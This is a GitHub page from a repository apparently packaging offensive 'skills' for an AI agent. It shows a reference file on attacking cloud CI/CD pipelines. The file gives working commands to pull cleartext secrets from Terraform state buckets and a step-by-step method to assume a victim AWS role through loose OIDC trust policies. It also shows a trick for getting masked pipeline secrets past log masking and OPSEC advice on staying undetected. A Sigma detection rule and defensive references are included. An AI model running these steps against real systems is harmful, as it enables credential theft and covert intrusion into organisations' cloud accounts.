hypnguyen1209/offensive-claude / skills/cloud-security
cloud-security
FlaggedUse when attacking AWS/Azure/GCP cloud — IAM/identity privilege escalation, IMDS/metadata SSRF, Entra device-code & PRT theft, GCP impersonation chains, Kubernetes/container escape, IaC/CI-CD federation abuse
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 9.0 KB |
| references/aws-iam-privesc.md | markdown | 10.4 KB |
| references/azure-entra-attacks.md | markdown | 9.2 KB |
| references/gcp-attacks.md | markdown | 8.4 KB |
| references/iac-secrets-ci-cd.md | markdown | 7.7 KB |
| references/imds-metadata-ssrf.md | markdown | 8.7 KB |
| references/kubernetes-container-escape.md | markdown | 8.9 KB |
| scripts/aws_privesc_enum.py | script | 6.6 KB |
| scripts/entra_device_code_phish.py | script | 5.9 KB |
| scripts/gcp_impersonation_mapper.py | script | 6.7 KB |
| scripts/imds_harvester.py | script | 6.9 KB |
| scripts/k8s_can_i_abuse.py | script | 6.9 KB |
| scripts/oidc_trust_auditor.py | script | 7.1 KB |
references/iac-secrets-ci-cd.md
View on GitHub# IaC State Secrets & CI/CD Federation Abuse
CWE-312 (Cleartext Storage of Sensitive Info), CWE-552 (Files Accessible to External Parties),
CWE-441 (Confused Deputy), CWE-1188 (Insecure Default), CWE-798 (Hardcoded Credentials).
ATT&CK: T1552.001 (Credentials in Files), T1199 (Trusted Relationship), T1078.004, T1098.001.
## Theory / Mechanism
Infrastructure-as-Code pipelines are a high-value attack surface for two reasons:
1. **State files** (Terraform `.tfstate`) record every managed resource attribute — including
secrets (DB passwords, private keys, tokens) in **cleartext**. The state is, as Microsoft puts
it, "your real blast radius."
2. **CI/CD federation**: pipelines increasingly use **OIDC** to exchange a short-lived JWT for
cloud credentials instead of static keys. Federation removes a *credential*, not a *privilege* —
if the cloud trust policy is scoped loosely (missing/wildcard `sub`, missing `aud`), an external
actor can mint a matching token and assume the role with **no stored secret to steal**.
## 1. Terraform state secret extraction
```bash
# Locate state backends (S3 / Azure Blob / GCS) from compromised creds or repo config
grep -rEn 'backend "(s3|azurerm|gcs)"' . 2>/dev/null
grep -rEn 'bucket|storage_account_name|container_name' *.tf 2>/dev/null
# AWS S3 backend
aws s3 ls s3://tf-state-bucket --recursive | grep tfstate
aws s3 cp s3://tf-state-bucket/prod/terraform.tfstate - \
| jq '.. | objects | with_entries(select(.key|test("password|secret|token|private_key|key";"i")))
| select(length>0)'
# Azure Blob backend
az storage blob download --account-name SA --container-name tfstate \
--name prod.terraform.tfstate --file - 2>/dev/null | jq '.resources[].instances[].attributes'
# GCS backend
gsutil cp gs://tf-state-bucket/prod/default.tfstate - | jq '.outputs'
# Generic secret pull from any state file
python3 ../scripts/oidc_trust_auditor.py --tfstate ./terraform.tfstate # also extracts state secrets
```
Also harvest plan/apply artifacts and pipeline logs (CI often echoes variables), `terraform.tfvars`,
`*.auto.tfvars`, and remote-backend **lock**/version history.
## 2. OIDC federation trust-policy abuse
### AWS — `AssumeRoleWithWebIdentity`
A federated IAM role trusts an external OIDC provider (GitHub Actions, Terraform Cloud, GitLab).
The trust policy must pin both `aud` (audience) and `sub` (subject = which repo/branch/org). Common
flaws:
- **Missing `sub` condition** → any workflow from the provider can assume the role. (AWS shipped a
too-loose default for Terraform Cloud roles created via the console; AWS tightened the default
around **2025-02-07**, so that exact bug is largely closed — but pre-existing roles persist.)
- **Wildcard `sub`** (e.g. `repo:org/*` or `organization:hackingthe*`) → an attacker registers a
matching org/repo name and assumes the role from an external account. **Still exploitable today.**
- **Missing `aud`** → token replay across providers.
```bash
# Find federated roles with weak/missing sub conditions
python3 ../scripts/oidc_trust_auditor.py --profile compromised --oidc
# Exploit shape (GitHub Actions OIDC against a role with wildcard sub):
# 1. Create a repo/org whose name matches the wildcard (e.g. org "hackingthe-x").
# 2. In a GH Actions workflow, request an OIDC token for the trusted audience:
# permissions: { id-token: write }
# TOKEN=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
# "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
# 3. Assume the victim role:
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::111122223333:role/github-deploy \
--role-session-name pwn --web-identity-token "$TOKEN"
```
Defense-in-depth that the auditor flags as missing: **Resource Control Policies (RCPs)** (org-wide)
to block web-identity assumptions whose `sub` doesn't match an allow-list; pin full `repo:ORG/REPO:
ref:refs/heads/main` or `:environment:production`.
### Azure / GCP federated credentials
- **Azure**: app registrations support **federated identity credentials**; a loose `subject`
/`issuer` lets an external workflow get tokens for the app. Enumerate with Graph:
`GET /applications/{id}/federatedIdentityCredentials`.
- **GCP**: **Workload Identity Federation** pools map external IdP claims to SA impersonation; an
over-broad `attribute.repository` / missing `attribute-condition` lets any repo impersonate the SA.
`gcloud iam workload-identity-pools providers describe ...` to review the attribute mapping/condition.
## 3. Pipeline secret theft (when static secrets still exist)
```bash
# GitHub Actions: dump masked secrets via injection in a controllable workflow input
# run: echo "${{ secrets.AWS_SECRET }}" | base64 | rev # bypass log masking
# Self-hosted runners: persistent host -> read ~/.aws, env, /home/runner/work
# Look for long-lived keys in CI variable groups, Jenkins credentials.xml, GitLab CI/CD vars.
trufflehog git file://./repo --only-verified
gitleaks detect --source=. --report-format=json --report-path=leaks.json
```
## Detection
```yaml
title: Suspicious OIDC Web-Identity Role Assumption
id: f1a9c4d7-oidc-assume-webidentity
status: experimental
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventName: AssumeRoleWithWebIdentity
anomalies:
- sourceIPAddress|cidr: '0.0.0.0/0' # placeholder: replace with allow-list of CI egress
filter_known_sub:
requestParameters.subjectFromWebIdentityToken|startswith:
- 'repo:my-org/' # expected repos/orgs only
condition: selection and not filter_known_sub
level: high
falsepositives: [new legitimately-added repos/environments]
```
- AWS: `AssumeRoleWithWebIdentity` whose `sub`/repo is not in the expected set; sudden assumes from
a new ASN. Terraform state buckets: `GetObject` on `*.tfstate` by a principal that is not the
pipeline role.
- Azure: sign-ins for an app via federated credential from an unexpected issuer/subject.
- GCP: `GenerateAccessToken` via a Workload Identity pool provider with an unexpected attribute.
IOCs: state-file reads outside CI; web-identity assumes with mismatched `aud`/`sub`; CI logs
echoing reversed/encoded secrets; new federated credentials added to an app/SA/role.
## OPSEC
- Reading state from S3/Blob/GCS is **object-access logged** (CloudTrail data events / storage
diagnostics) — only if data-event logging is enabled (often off). Pull once, parse offline.
- OIDC assumption needs **no stored secret** and produces a normal-looking `AssumeRoleWithWebIdentity`
— quiet unless the SOC baselines expected `sub` values; the give-away is the source IP/`sub`.
- Don't leave attacker-registered repos/orgs around after exploiting a wildcard `sub`; they are a
durable IOC.
- Self-hosted runner compromise is host-level — EDR-visible; treat like any host foothold.
## References
- Hacking The Cloud, "Exploiting Misconfigured Terraform Cloud OIDC AWS IAM Roles" — https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_misconfigured_terraform_cloud_oidc_aws_iam_roles/
- AWS Prescriptive Guidance, Terraform provider security best practices — https://docs.aws.amazon.com/prescriptive-guidance/latest/terraform-aws-provider-best-practices/security.html
- Microsoft Community Hub, "Modernizing Terraform Pipelines on Azure: OIDC Federation" — https://techcommunity.microsoft.com/blog/azureinfrastructureblog/modernizing-terraform-pipelines-on-azure-oidc-federation-for-github-actions-and-/4516620
- GitHub Docs, "Configuring OpenID Connect in cloud providers" — https://docs.github.com/en/actions/deployment/security-hardening-your-deployments
- AWS RCP examples repository (block web-identity abuse) — https://github.com/aws-samples/resource-control-policy-examples
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